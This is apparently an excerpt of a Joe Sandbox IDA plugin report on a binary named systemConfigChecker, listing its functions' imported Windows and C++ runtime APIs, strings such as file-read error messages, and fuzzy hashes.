Opcode Fuzzy Hash: 4828eb79ca3f53f09a541d778c95e189a65ea2713ffe4659dbe92ddbf69477ca
Instruction Fuzzy Hash: 4E518E72A5CB8585FB20FBA5E4802ED6361FBA5794F404232FA4D93A99DF3CD585CB00

Function 00007FF64E131820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF64E131865
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E1318CD
?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ.MSVCP140 ref: 00007FF64E131910
?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z.MSVCP140 ref: 00007FF64E131927
memset.VCRUNTIME140 ref: 00007FF64E1319A9

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z.MSVCP140 ref: 00007FF64E1319CD
??7ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E1319DD
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E131A04
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E131A3E
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E131A8D
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E131A97
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E131AC7
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E131B2C

Strings

Couldn't read the file, xrefs: 00007FF64E1319E7
Couldn't open the file, xrefs: 00007FF64E1318B0

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??1?$basic_istream@??6?$basic_ostream@V01@@memset$??1?$basic_ios@??7ios_base@std@@?read@?$basic_istream@?seekg@?$basic_istream@?tellg@?$basic_istream@Concurrency::cancel_current_taskMbstatet@@@2@V12@V12@_V?$fpos@_invalid_parameter_noinfo_noreturnmalloc
String ID: Couldn't open the file$Couldn't read the file
API String ID: 2898521299-2967168750
Opcode ID: b66de4a07c2a813736083cd489c24eda3bc11b92267668739e2f1c63e06ef200
Instruction ID: d90bc59be50aac4616236e0fef1a4392fe0d6b2944e00852806ed6b197e7bf5e
Opcode Fuzzy Hash: b66de4a07c2a813736083cd489c24eda3bc11b92267668739e2f1c63e06ef200
Instruction Fuzzy Hash: 78915932B4CB8581FB10FB15E8806A97361FB95B94F548632EE5D83BA8DF38E445CB00

Function 00007FF64E1389E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64E131881), ref: 00007FF64E138A20
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF64E138A3F
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E138A71
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF64E138A8C
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF64E138AB6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF64E138AD3
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF64E138AFA
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z.MSVCP140 ref: 00007FF64E138B21
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF64E138B45

Part of subcall function 00007FF64E139FB0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF64E139FDD
Part of subcall function 00007FF64E139FB0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF64E139FF7
Part of subcall function 00007FF64E139FB0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF64E13A029
Part of subcall function 00007FF64E139FB0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF64E13A054
Part of subcall function 00007FF64E139FB0: std::_Facet_Register.LIBCPMT ref: 00007FF64E13A06D
Part of subcall function 00007FF64E139FB0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF64E13A08C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E138B5A
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF64E138B71
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF64E138BB0

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_istream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@_U_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@W@std@@@std@@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3818078705-0
Opcode ID: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction ID: 10a95899e09ceb7d7c0e30e9e3c35e8da132d97b831bad0eba733e68cf85b550
Opcode Fuzzy Hash: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction Fuzzy Hash: F351393264CB8586FB10AF25E59436977A5FB99B84F144035EB8D83B68DF3CE025CB40

Function 00007FF64E134390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF64E1343E7

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

K32EnumProcesses.KERNEL32 ref: 00007FF64E134405
memset.VCRUNTIME140 ref: 00007FF64E1344AC
OpenProcess.KERNEL32 ref: 00007FF64E1344BB
K32EnumProcessModules.KERNEL32 ref: 00007FF64E1344DC
K32GetModuleBaseNameA.KERNEL32 ref: 00007FF64E1344FB
CloseHandle.KERNELBASE ref: 00007FF64E134524
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E1345FC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134606

Part of subcall function 00007FF64E13A0C0: memcpy.VCRUNTIME140 ref: 00007FF64E13A0F8

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$EnumProcessmemset$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BaseCloseD@std@@@1@@HandleModuleModulesNameOpenProcessesV?$basic_streambuf@memcpy
String ID:
API String ID: 3444793848-0
Opcode ID: 42b6029e3a9adb14015d90267ca1e11476e9fbeef03a5cae2e6db4e706ef6174
Instruction ID: 5b62ab608f87721ed41f3fcd22304b601650a1772d897055cabbc8b3c5dacf2d
Opcode Fuzzy Hash: 42b6029e3a9adb14015d90267ca1e11476e9fbeef03a5cae2e6db4e706ef6174
Instruction Fuzzy Hash: 2F716B72A5CB8586FB20EB65D4802AD6361FB95B84F504132EE8D93F58DF3CE585CB00

Function 00007FF64E139C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E139C8A
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E139CAA
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E139CBA
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF64E139D07
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF64E139D31
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF64E139D56
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF64E139D9D
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF64E139DA4
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF64E139DB1

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction ID: b480005357eb4f9df408bc44ade1693b367a96a7fb2b32f19b064c571fd27adb
Opcode Fuzzy Hash: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction Fuzzy Hash: 5F513E3264CB4181FB21BF1AE590239A7A0FBA4F95B55C531EE4E87FA5CF39D4468B00

Function 00007FF64E1399F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139AE6
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B0F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B36
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction ID: 8d7ccc0d8896eaf0e31fd1144991cbc06b9742d9e03c2cd8e2a34899147298d3
Opcode Fuzzy Hash: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction Fuzzy Hash: 3C510E3264CA4182FB20BB19E5D0639A7A0FB95F95B15C631EE5E83FA5CF39D4468B00

Function 00007FF64E13B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B0EB
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B10B
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B11B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B168
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B196
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B1B7
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B1FE
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B205
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF64E131AD2), ref: 00007FF64E13B212

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction ID: 701eae4ba83c01e872216cc0902ee2bd055d1100a3b160133c4ed3cf01bac679
Opcode Fuzzy Hash: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction Fuzzy Hash: 2851F13264CB4181FB60AF19E5D4A39A7A0FF94F85B158431DE4E87B65DF3DD8468B00

Function 00007FF64E13B96C Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF64E13B995
__scrt_release_startup_lock.LIBCMT ref: 00007FF64E13BA03
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BA51
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BA56
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BA5E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BA66
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BA88
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13BAE2

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction ID: 939e5ab4b048dacec5b1fa898ec59af7bf40256add76b9a23ce6058ad3b2b1cd
Opcode Fuzzy Hash: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction Fuzzy Hash: 8A316D21E8D64381FA10FB659455BB96291AFA0784F445435F64EC7AD3EE2CEC048F10

Function 00007FF64E133F60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF64E133FAC

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

NetGetJoinInformation.NETAPI32 ref: 00007FF64E133FC8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E134071
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134143
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E13414D

Strings

Domain: , xrefs: 00007FF64E133FFE

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationJoinV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: Domain:
API String ID: 3601429228-3214134553
Opcode ID: 8d4b799c5bb6a4fde6591288e69ee8a8858c5080ad32a675834f94ebbbcdb414
Instruction ID: e0dc318cfcf5083289f7ebc09e7dd4815e53ffb152883e900da60db32fd8cf95
Opcode Fuzzy Hash: 8d4b799c5bb6a4fde6591288e69ee8a8858c5080ad32a675834f94ebbbcdb414
Instruction Fuzzy Hash: 2A519C72B5CB8581FB20EBA5E4402AD6361FBA8B94F404132EA4D93A99DF3CD585CB00

Function 00007FF64E139FB0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF64E139FDD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF64E139FF7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF64E13A029
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF64E13A054
std::_Facet_Register.LIBCPMT ref: 00007FF64E13A06D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF64E13A08C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13A0B7

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction ID: aa5453edac22d021462158761358e604f8399e7084f4e88ce0a0c695b0aae100
Opcode Fuzzy Hash: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction Fuzzy Hash: 6D311E36A4CB4585FA14BF11E44416D7760FBA8B94F480632FA9E87BA9DF3CE455CB00

Function 00007FF64E131000 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF64E131011

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF64E131088
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF64E1310AD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF64E1310BD
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF64E1310CC
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF64E1310E0

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction ID: a48dc42c70a567dbef0f03a804d61636bf6e2e1a8139ed8642495116d260e591
Opcode Fuzzy Hash: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction Fuzzy Hash: 7F412C75E4DB4281F600BB11E89027873A5FFA8F88F544136E94E83B61DF3CA455CB40

Function 00007FF64E136DA0 Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
